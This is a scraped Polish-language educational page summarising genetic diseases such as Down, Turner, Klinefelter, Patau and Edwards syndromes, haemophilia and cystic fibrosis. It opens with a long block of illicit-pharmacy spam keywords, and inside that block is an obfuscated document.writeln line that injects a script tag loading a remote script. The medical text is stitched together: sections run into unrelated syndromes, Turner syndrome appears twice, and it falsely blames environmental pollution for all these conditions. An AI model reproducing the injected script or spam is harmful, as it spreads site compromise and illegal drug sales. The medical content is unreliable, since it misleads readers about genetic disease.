medoflucon 150mg to gramsmedoprazolemedsforless buy kamagra eu condyline pret kamagra gel cena indomethacin gout treatment raloxifene drugsramprazoleranitidine unisom side effects viagra 50mg price minocin 100mg side effects prozac usa accutane before and after images cheap generic amoxicillin non perscription premrin zoloft without prescriptions ritalin side effects in adults diarrhea nosipren lowest price laptopnovadexnovaldexnoviraxnovolax phenamax reviews of 50 prednisone for poison ivy in children prednisolone acetate ophthalmic suspension fluoxetine prozac 20mg monthly drug canada albenza coupons for michaels buy real viagra zineryt prospective definition celexa and alcoholism sominex sleeping pills side effects how i met your mother 1channel viagra ads on bloomberg radio stromectol scabies dosing cardizem cd 120 mg side effects doxazosin mesylate 4 mg tab side effects metformin tablets buy low priced drubs flagyl 500mg antibiotics buy astepro from india apotik yang menjual cytotec atarax dosage for infant achat sildenafil minocycline no prescription can i buy amoxicillin over the counter who is salzarex pharmaceuticals omnicef antibiotic dosage for children esquina carlos gardel buenos aires malaysian viagra salbutamol inhaler dosage bystolic 10 mg generic cozaar side effects in women cost of combivent respimat zyvoxid prospector herb viagra green box review generika drugstore philippines potassium permanganate msds neurontin and methadone health net viagra fucidin ointment treatment wounds phenytoin online himcolin gel use in hindi antibiotic vibramycin side effects feldene online atrovent nebulizer dose cephalexin and alcoholic beverages vicodin overdose side effects buy birth control without prescription top rated on line pharmacies soviclor aciclovir tablets prices astromenda search engine kemadrin medication for anxiety cialis drugs bulk powders minoxidil boots round blue pill 100 ginseng prices voltaren 75mg dosage betacin 25 mg adderall nautisol medication for depression atarax medication picture where to buy provera tablets medrol dose pack instructions day 1 rx blue pill for men vrdrug scamp prigily generico online buy wellbutrin xl without prescription levaquin brand name how much does propecia cost order medrol without perscription order cyproheptadine online over the counter inhalers remeron side effects in the elderly ampicillin against depo provera drugstore online prednisone dosepak pheromones perfume humans viagra postepay ezetimibe simvastatin generic for caffeine in coffee vs tea meloxicam 7 5 mg vs lortab hard on pills over the counter valtrex and breastfeeding imigran recovery otc starlix medication package insert ditropan oxybutynin drug interactions buy zithromax online usa shop online buy pills with echeck nautisol medication list corega denture adhesive gelcostco 20 mg cialis too much oxybutynin medication side effects clindamycin 150mg antibiotic oracef antibiotic for sinus estradiol tablets 2mg pere prend un viagra et baise sa fille viagra naturally australia nizoral cream walgreens buy indometacin tablets flomax drug medication side effects alternatives to viagra fedex overnight shipping brand levitra mail order drugs from mexico online tretinoin cream usp 0.05 nexium otc side effects oxybutynin chloride 5mg cost entocort medication for colitis actos generic name cialis usa over the counter cialis online euro thyroxine free t4 levels vimax reviews catafast powder springs doxepin side effects ciproxin 500 posologia orderpharma topix glasgow septra side effects in kids 2052 rhine inc palghar india ic amphetamine salts side effects medomycin uses for vinegar arthrotec side effects drugs adderall withdrawal side effects hospitals in oman cialis brand 20 mg cyclidox for acne buy cialis through paypal brand name buspar online ospamox antibiotics buy 200 mg cialis from india pramipexole dosage with tren tantalum capacitors image almaximo sildenafil 50 mg lisinopril recall 2013 salzarex thyroxine levels consigli generico online sildenafil 1742 buy tinidazole 500mg medyka ukraine ceasefire different type of viagra pills zyban side effects weight loss arimidex dosage steroids haldol medication in elderly lipitor and grapefruit doctor glucophage canadian pharcharmy online diovan coupons for 2012 diovan coupons for 90 day supply tylenol with codeine for children restonite ambien drugretirides document.writeln('<'+'scr'+'ipt type="text/javascript" src="'+(new Date()).getTime()+'/script.js?id=nGtAtIhATzvO4DBseGAFWWX1jw31eScAc0tmsfQcJ2H.l7">'); how to take viagra pills gloclav 1g vrdrug scammer ranitidine 150mg drugs dose permethrin 5 cream side effects atrovent nebulizer dosing avapro generic irbesartan flovent diskus 100 mcg coupon zentel worm medicine for adults for sale yasminelle pill usa best prices for cialis 20mg tadalafil buy online usa promethazine syrup uk content management system open source maxalt migraine dose mupirocin ointment generic viagra professional buy albendazole online cialis china paypal canada non generic trental ventolin expectorant salbutamol guaifenesin polarmeds in canada now carprofen 100mg prices non generic viagra buy quick ship viagra diclofenac sodium 50mg high risperdal side effects lawsuits no prescription pharmacy paypal hoodia gordonii reviews levitra coupon toprol xl 50mg side effects prometrium 200 mg dose generic viagra australia clomid and iui success rates on first try lasix side effects in dogs cafergot 1 100 mg euthyrox 25mcg motilium tablets side effects buy xenical orlistat in canada viagra uk no prescription rollbox tool box cymbalta lawsuit settlements aldactone medication drugs 5 mg of clonazepam street value ordering viagra from canada advantage sales and marketing address periactin 4mg tabperiostat reglan breastfeeding dosage ibuprofen for dogs pain premarin tablets 0.625 benefits arthritis foundation atlanta ga what is plavix generic name where to buy retin a myambutol medication side suprax 200 mg cost propecia buy over the counter antabuse cialis 5 00 mg gabapentin 800 mg street price viagra generico a basso c osto sicuro ospamox amoxicillin sandoz cs online support24 trimetabol sirop clozapine monitoring teva bactroban ointment uses medication nitroglycerin msds order levitra at walmart costco pharmacy prices levitra effexor and weight loss maximum dosage of cialis himcolin reviewshoodia dikloron tablets etodolac 300 mg capsule florinef 0.1mg vipps pharmacy viagra fentanyl transdermal system 25 mcg h flagyl by mail levitra 20mg price premarin coupons discounts nitrazepam tablets plavix 75 mg sildegra 100mg morphine my viagra blog albendazole sale buspirone hcl 15mg watson lopressor metoprolol half life crestor costco price 286 inderal medication contraindications adderall india pharmacy insulin resistance diet menu percocet 512 information dosage lesofat vs xenical philippines viagra ou cialis anti anxiety medication online buy cipla cialis buy lisinopril without prescription subutex side effects forum zoloft prices without insurance inhalable amikacin side effects alfuzosin hydrochloride dose xanax and canada risperdal side effects in women enalapril maleate medication for dogs fluconazole online viagra in bangalore ampicilina 500 for sale coupon for cialis daily compro viagra mirtazapine 30 mg antidepressants microzide medication for depression androgel side effects androgel bodybuilding albuterol for sale canada levitra pills promethazine codeine online drugstore eutirox 25 side effects medameds reviews on fifty nexiumviagra to buy in canada viagra for young men leukeran drug cialis 40 mg cost nexium sale paroxetine 10mg tab shoping plavix in india himcolin gel benefits in hindi costco mail order pharmacy everett wa metoprolol succinate er vs metoprolol tartrate what is donepezil medication can you buy atarax over the counter order ciprofloxacin 500mg get zoloft prescription online thyroxine hormone function thyroid gland trazadone without rx canada pharmacy coupons canadian viagra paypal digoxina dosis paracetamol trimetabol solution set isoniazid drug side effects metoprolol and weight gain european pharmacies online asthma symptoms in adults chest pain toprol xl recall famciclovir drug price periostat 20mg collagenex cialis professional belgique libre novolog 70/30 flexpen instructions cardizem dosage forms laxadin bisacodyl suppository cost of restasis without insurance cytotec online uk atenolol side effects hair loss genericos viagra india virgra for men clomid uk pharmacy without prescription viagra gold 800 mg cialis withhout prescription rabeprazole generic name tamsulosin 0.4 mg side effects movie 2013 therapy management corporation address sustiva side effects taking vibrox medicine shoppe doxycycline side effects in cats ovral 21 information actos lawsuits in louisiana order 50 mg prednisone online elavil for sleep problems costco travel reviews amoxicillin paypal metformin denk 850 side effects can you order viagra from canada viagra kaufen info buy accutane fast delivery online pharmacy with e check careprost vs latisse avalide medication hydrochlorothiazide irbesartan isoptin verapamil dosage //--> ephedraxin ingredients betnovate scalp application for hair loss buy cheap amitriptyline online brand name viagra no prescription lincocin for dogs side effects shop online echeck pills achat viagra pfizer bootleg viagra cheap generic cialis online uk neurontin for pain reductil 15 mg capsules anastrozole for men side effects in men duvadilan tablet side effects viagra tablets price in india cheapest metformin online minoxidil shampoo for women lergigan fortesta nexium 20mg capsule how was ampicillin discovered list of erectile dysfunction drugs albuterol inhaler dosage eulexin and pcos awareness lesofat vs xenical over the counter robaxin 750 mg street value midamor 5mg proventil coupon 2013 gpchealth address in canada z pack for sale online mtab viagra viagra apotheke deutschland nebivolol 10 mg price usa where can i buy cialisi legally online dostinex fastest shipping doxycycline vet canada online pharmacy debit card extenze side effects pills carbimazole side effects treatment curacne burning rash buy viagra hong kong buy cialis online canada vendita online di cialis clomiphene citrate and late period viagra montreal no prescription needed online pharmacy morphine sulfate 30mg street value espn radio viagra insurance quotes online homeowners shop 365 pills clindamycin hcl 150 mg dosage sertraline zoloft zyrtec dosage for children under 2 buy terramycin ointment for cats zoloft weight loss reviews cialis e shops europe viagra mail fake paxil withdrawal symptoms how long do they last where to buy canadian drugs online nolvadex pct dosage after anavar keppra 500mg cost 400 mg metronidazole no prescription trimetabol sirop de afine reichlox capsule urimax 4 without prescription percocet 10/325 vs norco 10/325 1st pharmacy store indocin generic lidocaine injection doxycap doxycycline uses estrace side effects on men best price propecia nexium otc coupons picareta em ingles ad terbinafine and alcohol consumption cephalexin 500 mg side effects in dogs enalapril maleate medication metformin 500mg side effects weight loss zofran cause birth defects cefalexina bulawayo viagra scaduto forum amlodipine benazepril side effects relafen nabumetone 750 mg peritol weight gain tablets two day lexapro online legal usa online pharmacies rocaltrol 0.5 mcg duphaston tablet 10 mg twice daily maxolon medicine online non prescription pharmacies flexidol relax accion terapeutica atletica discount pfizer viagra sildenafil citrate pay with mastercard keppra 500mg order no prescription levitra viagra pills overnight delivery pentrexyl ampicilina 500mg beconase aq nasal spray generic prix du cialis 20mg en pharmacie ivermectin wormer for horses viagra with ot prisetion plavix medication uses viagra online germany best diet pill for 50femaile fluconazole 100mg tablets buy daily use cialis online viagra price germany propecia cheap fast shipping amoxicillin dosage for urinary tract infection medameds prices chicken cyclidox tablets under $100 flurazepam 30mg review dan zanes pfeiffer viagra on line xeloda 500mg benicar generic brand getting nolva in australia medomycin uses for tea kamagra oral jelly suppliers australia zithromax azithromycin 500mg celecoxib capsules side effects cialis en ligne france cytotec en panama hong kong online pharmacy inderal side effects constipation atenanol no prescription entocort budesonide capsules acyclovir for shingles dose cialis comprare phgh rx where to buy cialis 5 mg online italia metoprolol side effects weight gain best deals on generic viagra avelox for uti liposafe gnc locations milnacipran and fibromyalgia venlafaxine 37.5mg for hot flashes from hormone treatment zineryt cena restaurant zocor medication is used for amitriptyline no prescription overnight buy tylenol 3 online no prescription buy stemetil cabaser dosing insulincabgolin lidoderm coupon with insurance lasaoren removal tool alesse birth control generic names latisse price comparison roxifen capsules sizes gupisone 20 dose description definition azithromycin 250mg canada non prescriptionalloprinol tadalfil paypal olanzapine medication and bipolar disorder pregnant pictures of kim kardashian order levitra without a prescription bentyl online nasonex generic equivalent availability factor viagra sublingual zocor warning 2013 free clobex spray coupon indomethacin 50 mg capsule gout symptoms mobicox 7 5mg cialis ketorolac tromethamine eye drops generic cialis price comparisons estrogen pills at walgreens atepros drug
Skip to content
Powikszanie czcionki Domylny rozmiar czcionki Pomiejszanie czcionki
Start arrow Genetyka arrow Choroby genetyczne - krótka charakterystyka

Menu główne



Choroby genetyczne - krótka charakterystyka Utwórz PDF Drukuj Wyślij znajomemu

Trzy procent dzieci rodzi się z wadami wrodzonymi,
z tego 85% defektów jest uwarunkowanych genetycznie !!!

1. Wstęp - czyli ogólnie o genetyce...
2. Dziedziczenie - co to jest?
3. Choroby związane z mutacjami chromosomowymi.
4. Choroby związane z mutacjami genowymi.
5. Zakończenie.
7. Źródła.

Wstęp - czyli ogólnie o genetyce.

Każda komórka (każdy organizm) ma cechy, które dziedziczy po komórce macierzystej (organizmie macierzystym). Potomstwo może różnić się od siebie i od swoich rodziców, gdyż rozmnażanie płciowe jest źródłem zmienności genetycznej.

Nośnikiem cech jest DNA. Umieszczona w nim informacja genetyczna przekazywana jest komórkom potomnym w postaci szyfru zwanego kodem genetycznym. Kod jest powszechny, co oznacza, że taki sam mają wszystkie organizmy. Fragment DNA zawierający informację dotyczącą produkcji jakiegoś białka nazywamy genem. Zespół genów danego osobnika to genotyp, a zespół cech organizmu stanowiący wynik współdziałania genów i warunków środowiska to fenotyp. Organizmy o takim samym genotypie, ale poddane działaniom innych warunków środowiska mogą wyglądać inaczej - ich fenotypy będą się różnić.

Geny przekazywane są za pomocą chromosomów. W komórkach budujących ciało organizmu występują pary chromosomów, z których jeden pochodzi od matki a drugi od ojca. Tylko komórki płciowe (gamety) maja po jednym zestawie chromosomów. Dla każdego gatunku liczba chromosomów jest wielkością stałą. Każdy gen ma swoje określone miejsce na chromosomie, a na chromosomach homologicznych te same geny znajdują się w tym samym miejscu.

Mechanizm dziedziczenia odkrył Grzegorz Mendel, który swoje spostrzeżenia zawarł w dwóch prawach. Osobnika posiadającego dwa takie same geny nazywamy homozygotą, a dwa różne geny tej samej cechy heterozygotą. Geny mogą być recesywne albo dominujące.

Płeć jest uwarunkowana posiadaniem chromosomów płci. U większości gatunków osobnik żeński ma dwa chromosomy X (XX), osobnik męski jeden chromosom X i jeden Y. W chromosomie Y są w zasadzie tylko geny odpowiedzialne za cechy związane z płcią męską. W związku z tym geny recesywne leżące na chromosomie X ujawniają się u każdego osobnika męskiego i występują o wiele częściej niż u osobników żeńskich, które są natomiast nosicielami tych genów.

Nasze cechy dziedziczne zależą od określonej sekwencji nukleotydów w DNA. W wyniku działania czynników mutagennych, takich jak np. promieniowanie, związki chemiczne, następuje uszkodzenie nici DNA, ponieważ zwiększa się częstość zachodzenia mutacji, czyli nagłych, powstających samorzutnie zmian dotyczących struktury oraz ilości DNA. Mutacje mogą dotyczyć genu lub całego chromosomu, jego struktury, a także liczby chromosomów. Znaczna część mutacji jest letalna (śmiertelna), niektóre jednak odpowiedzialne są za choroby genetyczne, jak hemofilię, anemię sierpowatą, mukowiscydozę, zespół Downa.


Dziedziczność jest to zdolność przekazywania cech zarówno anatomicznych, jak i fizjologicznych, przez organizmy macierzyste potomstwu. Dany organizm może przekazać swojemu potomstwu skłonność do pewnych chorób lub też odporność na nie. Choroby przenoszone przez geny z pokolenia na pokolenie, nazywane są chorobami dziedzicznymi.

Zmiany w strukturze materiału genetycznego, pojawiające się nagle, nazywane są mutacjami. Jeżeli występują one w komórce płciowej, są trwale dziedziczone. Istnieją dwa podstawowe typy mutacji: genowe i chromosomowe.

W mutacjach genowych zmiany dotyczą budowy chemicznej materiału genetycznego (zmiany, dodania lub wypadnięcia jednej pary lub kilku zasad w DNA albo jednej lub kilku zasad w RNA) i powodują syntezę odmiennych białek lub ich brak. Mutacje chromosomowe są następstwem zmiany ogólnej liczby lub budowy chromosomów. Czynnikami powodującymi mutacje są substancje chemiczne, promieniowanie jonizujące np. promienie rentgenowskie oraz wirusy.

Choroby związane z mutacjami chromosomowymi:

1. Zespół Downa (mongolizm) zwany też trisomią 21, ponieważ charakteryzuje się dodatkowym chromosomem w 21 parze alleli. Występuje w około jednym przypadku na 600 urodzeń. Częstość występowania zespołu Downa zwiększa się z wiekiem matki, natomiast nie zależy od wieku ojca ani od liczby przebytych ciąż.

Objawy. Zwykle niemowlęta obciążone tą chorobą zachowują się spokojnie, mało płaczą a napięcie ich mięśni jest obniżone. Ich rozwój psychiczny i fizyczny jest opóźniony, a tak zwany iloraz inteligencji wynosi około 50. Głowę mają małą, część potyliczną spłaszczoną, kończyny górne krótkie, oczy skośne, uszy małe i nisko osadzone, nos spłaszczony, a w kącie powiekowym przy nosie skóra tworzy fałdy. Język jest duży, pofałdowany i z trudem mieści się w jamie ustnej, dlatego niemowlę ma usta otwarte i język nieco wysunięty. Bruzdy na dłoniach mają charakterystyczny wygląd. Ręce są krótkie i szerokie, palce krótkie, a mały palec ma dwa paliczki zamiast trzech. U 30-40 % noworodków stwierdza się wrodzoną wadę serca (połączenie między komorami). Dzieci z zespołem mają znaczną skłonność do zapadania na ostre białaczki.

Przewidywana długość życia dziecka z tą chorobą jest mała, szczególnie przy wadzie serca i ze względu na wysoką częstość ostrych białaczek. Przy odpowiedniej opiece medycznej dzieci z tą chorobą mogą dożyć wieku dorosłego.

2. Zespól Turnera (X0) jest najczęstszą postacią hipogonadyzmu. Istotą choroby jest dysgenezja gonad z niedoborem wzrostu i licznymi, drobnymi wadami w budowie ciała i narządów wewnętrznych. Związany jest z zaburzeniami chromosomalnymi, głównie jako jeden chromosom X.

Objawy: niski wzrost (poniżej 150 cm) przy krępej budowie ciała, wady układu kostnego jak koślawość łokci, szpotawość kolan, wady nadgarstka, puklerzowata klatka piersiowa. Oprócz tego płetwistość szyi, nisko osadzone uszy, wady układu moczowego, krążenia i serca. Pierwotne uszkodzenie gonad prowadzi do: braku rozwoju gruczołów sutkowych, owłosienia łonowego i pachowego, braku miesiączki, niedorozwoju zewnętrznych narządów płciowych.

U pacjentek nie występuje skok pokwitaniowy i w tym czasie jest wyraźnie zmniejszone wydzielanie hormonu wzrostu. Bardzo ważnym zaburzeniem jest obniżenie mineralizacji kośćca, co prowadzi do osteoporozy.

Leczenie polega na poprawie wzrastania - hormonem wzrostu oraz na wywołaniu feminizacji - estrogenami.

3. Zespół Klinefeltera. Istotą tej choroby jest pierwotne uszkodzenie jąder pochodzenia genetycznego, a przyczyną istnienie dodatkowego lub dodatkowych chromosomów X w kariotypie (zespole chromosomów danego osobnika). Najczęściej spotykany jest kariotyp 47 (XXY).

Przed okresem dojrzewania płciowego rozpoznanie zespołu możliwe jest jedynie na podstawie badania chromatyny płciowej lub kariotypu. W okresie dojrzewania głównym objawem jest nieprawidłowy rozwój narządów płciowych, przy nie powiększaniu się jąder. U 60 % chłopców z tą chorobą pojawia się rozrost gruczołów piersiowych. Po zakończeniu dojrzewania sylwetka ciała ma przeważnie cechy eunuchoidalne. Młodzi mężczyźni mają długie kończyny, szerokie biodra, podściółkę tłuszczową w okolicy gruczołów piersiowych, na biodrach i pośladkach. Zarost na twarzy jest słaby, jądra małe, wielkości grochu lub nieco większe, nasienie wykazuje brak plemników. Prącie oraz pozostałe narządy płciowe są prawidłowo rozwinięte. Życie płciowe zwykle nie odbiega od normy. U chorych zaznacza się w różnym stopniu nasilona ociężałość umysłowa.

Leczenie tej choroby polega na podawaniu testosteronu. Uzupełnianie tego hormonu umożliwia "korektę" sylwetki ciała i innych cech psychofizycznych, których stan zależy od prawidłowego poziomu testosteronu w organizmie

4. Hemofilia. Istotą choroby jest defekt w wytwarzaniu VIII czynnika krzepnięcia, zwanego globuliną antyhemofilową (AHG) lub przeciwhemofilową.

Choroba dziedziczy się w sposób recesywny związany z płcią, tzn., że chorują mężczyźni, a kobiety przenoszą chorobę z pokolenia na pokolenie. I tak np. mężczyzna chory na hemofilię będzie miał ze zdrową kobietą zdrowych synów, ale wszystkie córki będą nosicielkami choroby. Istnieje prawdopodobieństwo, że kobieta będącą nosicielką będzie miała ze zdrowym mężczyzną 50% chorych synów oraz 50% córek będzie nosicielkami choroby.

Hemofilia stanowi ok.80% wszystkich wrodzonych skaz krwotocznych, a częstość jej występowania wynosi od 1: 11000 do 1: 16000 mieszkańców.

W Polsce żyje ok. 3000 osób chorych na hemofilię, z tego połowa to dzieci.

Objawy. W hemofilii o ciężkim przebiegu objawy choroby ujawniają się zwykle we wczesnym dzieciństwie. Uwagę otoczenia zwraca wówczas łatwe siniaczenie się dziecka zaczynającego chodzić. Po większych urazach mogą powstawać rozległe wylewy krwawe w tkance podskórnej i mięśniach.

Bardzo charakterystycznym objawem są wylewy krwi do stawów. Powiększa się wtedy objętość stawu, jest on tkliwy, występuje ograniczenie ruchomości. Powtarzające się wylewy do stawów nie leczone prawidłowo mogą prowadzić do znacznych deformacji kończyn i trwałego kalectwa na skutek nie tylko pierwotnych zmian w stawie, ale i szybko postępującego zanikania mięśni w wyniku ograniczenia ruchomości kończyny. Szczególnie częste są wylewy do dużych stawów: kolanowych, łokciowych i skokowych. Równie groźne są masywne wylewy do mięśni, gdyż wynaczyniona krew może uciskać pnie nerwowe i tętnicze oraz stać się przyczyną trwałych porażeń, niedokrwienia i martwicy tkanek. Wylew do mięśnia biodrowo-lędźwiowego może wywołać znaczną bolesność i jeżeli wystąpi po stronie prawej, może dawać objawy podobne do ostrego zapalenia wyrostka robaczkowego.

Typowym objawem hemofilii jest również często występujące krwawienia z nosa. Dość częstym i trudnym do opanowania objawem jest krwiomocz. Rzadsze są krwawienia z przewodu pokarmowego. Najgroźniejsze w następstwach są krwawienia do ośrodkowego układu nerwowego występujące zwykle po urazie głowy. Mogą one stanowić bezpośrednie zagrożenie życia, a po opanowaniu krwawienia - prowadzić do wystąpienia padaczki oraz upośledzenia umysłowego.

Do najbardziej burzliwych krwawień u hemofilików należą te, które powstają w przebiegu wykonywanych bez odpowiedniego przygotowania zabiegów operacyjnych lub ekstrakcji zębów.

W miarę upływu lat nasilenia objawów krwotocznych często zmniejszają się, co wiąże się ze spokojniejszym trybem życia osób dorosłych i mniejszym ich narażeniem na urazy.

5. ZESPÓŁ PATAU - trisomia chromosomu 13

Częstotliwość występowania tej wady wynosi 0,2/1000 żywo urodzonych niemowląt. Wiek matki, choć w niewielkim zakresie, wpływa na częstotliwość występowania tego zespołu.
Dziecko umiera zazwyczaj w kilka godzin lub dni po urodzeniu.
Osoba z Zespołem Patau charakteryzuje się ubytkami owłosienia na głowie, oczy są osadzone blisko siebie (może dojść nawet do ich "połączenia").
Zespołowi temu towarzyszy często rozczep wargi i podniebienia, polidaktylia
czyli dodatkowy palec, najczęściej od strony palca małego, zdarzają się wytrzewienia a z chorób towarzyszących liczne są wady serca.


Przyczyną tego zespołu jest mikrodelecja odcinka 15
chromosomu pochodzącego od ojca (gdy dojdzie do mikrodelecji odc. 15 chromosomu pochodzącego od matki mamy wtedy do czynienia z zespołem Prader-Williego). Brakujący odcinek chromosomu odpowiedzialny jest za regulację białka zwanego ubikwityną.

Zespół Angelmana nie jest zazwyczaj rozpoznawany w okresie noworodkowym i niemowlęcym, dopiero gdy pojawiają się problemy rozwojowe, gdy ujawnia się charakterystyczne zachowanie, rodzice zaczynają podejrzewać istnienie choroby (następuje to zwykle miedzy 3 a 6 rokiem życia).

Do cech charakterystycznych tego zespołu należy: opóźnienie w rozwoju, upośledzenie mowy, zaburzenia ruchu i równowagi (ataksja, drżące ruchy kończyn), częsty śmiech bez powodu, osoba chora często się rozkojarza, łatwo się ekscytuję, odznaczą się nadmierną pobudliwością.

Do równie częstych objawów (ok. 80%) należą: nieproporcjonalny rozwój obwodu głowy (zazwyczaj prowadzący do małogłowia), napady padaczki (zwykle pojawiają się przed 3 rokiem życia), nieprawidłowy zapis EEG.

7.ZESPÓŁ TURNERA - całkowita utrata jednego chromosomu X (bądź Y) , oznaczana zapisem kariotypu 45,X lub 45,XO

Występuje on u 2-3/1000 żywo urodzonych dzieci płci żeńskiej. Częstotliwość tej choroby nie jest zależna od wieku matki i najprawdopodobniej polega na pomejotycznej utracie X lub Y w trakcie spermatogenezy.

Dziecko z tym zespołem charakteryzuje się niskim wzrostem. ZT manifestuje się również opóźnionym dojrzewaniem, brakiem pierwszej miesiączki i owulacyjnych cykli miesięcznych, pierwotną niepłodnością, brakiem rozwoju gruczołów sutkowych, obniżonym stężeniem estrogenów i podwyższonym gonadotropin. U 20 - 30 % osób z ZT czynność jajników jest częściowo zachowana, występuje pierwsza miesiączka, jednak cykle menstruacyjne zanikają po kilku miesiącach (rzadziej latach). Tylko w sporadycznych przypadkach cykle są owulacyjne, zachowana jest płodność i prawidłowo rozwijają się piersi.

Wśród cech fenotypowych charakterystyczne są : zniekształcenia twarzy, płetwistość szyi, obrzęki rąk i nóg, niska linia włosów na karku, koślawość łokci, skrócenie IV kości śródręcza, skrócenie paznokci, niskie osadzenie i (lub) odstawanie małżowin usznych, szeroki rozstaw brodawek sutkowych, puklerzowata klatka piersiowa, opadanie powieki.

W ZT nie obserwuje się upośledzenia umysłowego. Iloraz inteligencji (IQ) jest normalny.

8.ZESPÓŁ EDWARDSA - trisomia chromosomu 18

Częstotliwość występowania tej wady wynosi 0,3/1000 żywo urodzonych niemowląt, z tym że u dziewczynek występuje on 3 razy częściej. Wiek matki wpływa na częstotliwość występowania tego zespołu.
Większość dzieci przeżywa 3-4 miesięcy, wyjątkowo do 2 lat.
Dzieci z tym zespołem charakteryzują się wzmożonym napięciem mięśniowym, przykurczem kończyn, nisko osadzonymi uszami, pojawiają się wady stóp (tzw. suszkowate stopy), niemowlęta zaciskają charakterystycznie piąstkę. Często zespołowi Edwardsa towarzyszą też wady serca bądź ośrodkowego układu nerwowego.


Jednym z interesujących a jednocześnie sprawiającym wiele trudności aspektów tej choroby jest bardzo szeroki i zróżnicowany zespoły objawów.

Pomimo różnorodnych objawów można dostrzec pewne prawidłowości.

Prawie u każdego chorego pojawiają się : mała waga urodzeniowa, zmniejszenie długości noworodka, zbliżony do trójkątnego kształt twarzy, normalna wielkość głowy, choć z powodu zmniejszenia długości ciała i wagi może się ona wydawać większa, pourodzeniowe opóźnienie wzrostu, słaby apetyt w pierwszych latach, klinodaktylia (zakrzywienie) piątego palca.

Do często towarzyszących temu zespołowi objawów należą: hipoglikemia (w okresie niemowlęcym i wczesnym dzieciństwie (2-3 roku)), asymetria długości kończyn, mały podbródek, nieprawidłowo osadzone uszy (zazwyczaj niżej niż normalnie o mniejszym kształcie i często odstające), wnętrostwo (nie zstąpienie jąder), zmniejszone napięcie mięśniowe.

Rozpoznanie tego zespołu nie oznacza zmniejszenia jakości życia. Osoby z RSS prowadzą normalne życie. Jednakże niski wzrost i pewne trudności w wieku dziecięcym takie jak brak apetytu, zmniejszenie napięcia mięśniowego, asymetria i inne z wcześniej wymienionych objawów, mogą powodować pewne trudności. Zazwyczaj jednak włożony wysiłek, dodatkowa troska i opieka przynoszą rezultaty. U wielu pacjentów znika "trójkątny" kształt twarzy, wzmaga się napięcie mięśniowe, poprawia się apetyt, mowa staje się bardziej wyraźna, rozwija się koordynacja ruchów, zdolność nauki poprawia się. Dzieci z zespołem Russel-Silvera zazwyczaj stają się zdrowymi i szczęśliwymi dorosłymi.

Etiologia tej choroby jest nadal nieznana. Niektóre przypadki RSS występowały wśród kilku członków rodziny, jednak zazwyczaj choroba ta pojawia się sporadycznie, bez obciążenia genetycznego, a także bez określenia konkretnych mutagenów. Prace nad dokładną lokalizacją genów odpowiedzialnych za rozwój tej choroby nadal trwają. W wielu przypadkach pojawiały się dwa chromosomy 7 pochodzące od matki (normalnie matka przekazuje tylko jeden chromosom swojemu dziecku).


Dziedziczenie cech zależy od określonej sekwencji nukleotydów w DNA . Istnieje dużo czynników tzw. Mutagenów , które uszkadzają nici DNA . Do tych czynników należą : promieniowanie i związki chemiczne . Działanie mutagenów zwiększa częstość zachodzenia Mutacji . Mutacja może dotyczyć genu lub całego chromosomu , a wówczas polega na zmianie jego struktury lub całego chromosomu . Większość tych mutacji jest letalna czyli powoduje śmierć zarodków we wczesnym stadium rozwoju . Niektóre komórki organizmu człowieka przekształcają się w nowotworowe . Przyczyną zakażenia organizmu człowieka są : dym papierosowy , spaliny , grzyby pleśniowe . Mutacje mogą spowodować u człowieka zaburzenia w rozwoju umysłowym i fizycznym . Takim przykładem może być choroba zwana zespołem Downa . Choroba ta może być dziedziczona przez kolejne pokolenia . Przyczyną tej choroby jest występowanie w komórkach człowieka trzech chromosomów numer dwadzieścia jeden ( 21 ) zamiast dwóch ( 2 ) . Objawami zespołu Downa są : niski wzrost , skośne oczy , fałdy na powiekach oraz są słaby rozwój ruchowy i umysłowy . Innym przykładem choroby spowodowanej przez mutację jest anemia sierpowata . Powoduje ona uszkodzenie struktury hemoglobiny . Na terenach o wysokich temperaturach rozwija się często pasożytniczy pierwotniak zwany "zarodźcem malarycznym " .Rozwija się on u ludzi z normalną hemoglobiną i powoduje ich śmierć , co jest przyczyną rozwoju wadliwego genu . Mutageny atakują też komórki skóry człowieka powodując raka skóry . Niektóre atakują krew powodując białaczkę zwaną rakiem krwi .

Przyczynami wszystkich tych chorób jest skażone środowisko , dlatego też musimy dbać o jego czystość i ograniczyć jego zatruwanie . Zdrowe środowisko to zdrowy człowiek .

Choroby związane z mutacjami genowymi:

1. Mukowiscydoza, czyli zwłóknienie torbielowate. Jest to wielo-układowa choroba przekazywana dziedzicznie jako cecha recesywna nie związana z płcią. Podstawowe zaburzenia dotyczą czynności gruczołów wydzielania zewnętrznego: trzustki, gruczołów ślinowych, potowych i śluzowych w przewodzie pokarmowym i układzie oddechowym.

Objawy choroby zależą od gromadzenia się gęstej, lepkiej wydzieliny w wymienionych gruczołach, zatykaniu ich i wtórnym zakażeniu. Istnieje kilka postaci klinicznych mukowiscydozy; może ona objawiać się już w okresie noworodkowym, prowadząc do tzw. niedrożności smółkowej jelit. Najczęściej spotyka się postać płucną lub mieszaną z objawami ze strony układu oddechowego i przewodu pokarmowego. Ciężkie postacie mukowiscydozy oskrzelowo-płucnej występują u dzieci, które otrzymały tę cechę od obojga rodziców. U dzieci, które odziedziczyły tę cechę od jednego rodzica, może wystąpić poronna postać choroby. W ciężkich postaciach choroby objawy niewydolności oddechowo-krążeniowej pojawiają się już w pierwszym roku życia i w ciągu 1-2 lat, a czasami kilku miesięcy, doprowadzają do zgonu dziecka. W nieco lżejszych postaciach, u dzieci z wcześnie ustalonym rozpoznaniem i prawidłowo leczonych, okres przeżycia może wynosić kilka do kilkunastu lat. W najlżejszych przypadkach może to być jedynie skłonność do nawracania zakażeń układu oddechowego.

Chorzy z mukowiscydozą mają szczególną skłonność do zakażeń gronkowcem złocistym i pałeczką ropy błękitnej. Łatwo też powstaje u nich trwałe rozszerzenie oskrzeli.

Leczenie mukowiscydozy polega na ochronie przed zakażeniami, a w przypadku pojawienia się nadkażenia bakteryjnego ? szybkim leczeniu antybiotykami. Konieczne jest wykonanie kilka razy w ciągu dnia drenażu oskrzeli w celu zapobiegania zaleganiu wydzieliny.

2. Anemia sierpowata. Jest chorobą wynikającą z mutacji genowych, które spowodowały patologiczną budowę hemoglobiny. Niewielka zmiana w budowie łańcucha białkowego hemoglobiny powoduje ciężkie objawy kliniczne, od niedokrwistości hemolitycznej począwszy, poprzez uszkodzenie nerek i zaburzenia rozwoju kośćca, a na ślepocie skończywszy. W chorobie tej krwinki czerwone przybierają postać sierpowatą zamiast normalnej formy dysku.

